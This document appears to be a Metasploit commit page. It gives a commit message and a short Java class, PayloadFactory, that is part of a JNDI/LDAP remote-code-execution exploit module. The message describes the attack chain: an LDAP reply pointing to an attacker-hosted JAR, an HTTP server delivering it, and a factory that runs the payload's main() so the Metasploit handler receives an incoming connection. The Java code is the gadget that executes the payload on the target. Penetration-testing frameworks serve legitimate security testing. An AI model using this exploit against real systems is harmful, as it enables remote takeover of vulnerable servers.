4f07a2fbea
Clean up the Java code for PayloadFactory - the `main()` function is actually not required, the error seen on initial attempts to compile was some sort of PEBKAC or weird things in classpaths. Update the module to start the HTTP server before issuing the HTTP request starting the call chain which eventually executes the Java PayloadFactory - that chain is quick and races with the service's startup time to get the JAR containing the Payload and its factory. Minor misc cleanup. Give credit where due: we stand on the shoulders of giants. Testing: LDAP request is serviced with response containing our JAR URL and trigger parameters for the factory to instantiate Payload.class and call its `main()` function. HTTP request is serviced to deliver the JAR. Payload handler on MSF-side is tripped with incoming connection.
14 lines
410 B
Java
14 lines
410 B
Java
package metasploit;
|
|
import java.util.Hashtable;
|
|
import javax.naming.*;
|
|
|
|
public class PayloadFactory implements javax.naming.spi.ObjectFactory {
|
|
// Required method override to be a valid Factory
|
|
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
|
|
// System.out.println("Loading via factory...");
|
|
Payload.main(null);
|
|
return null;
|
|
}
|
|
}
|
|
|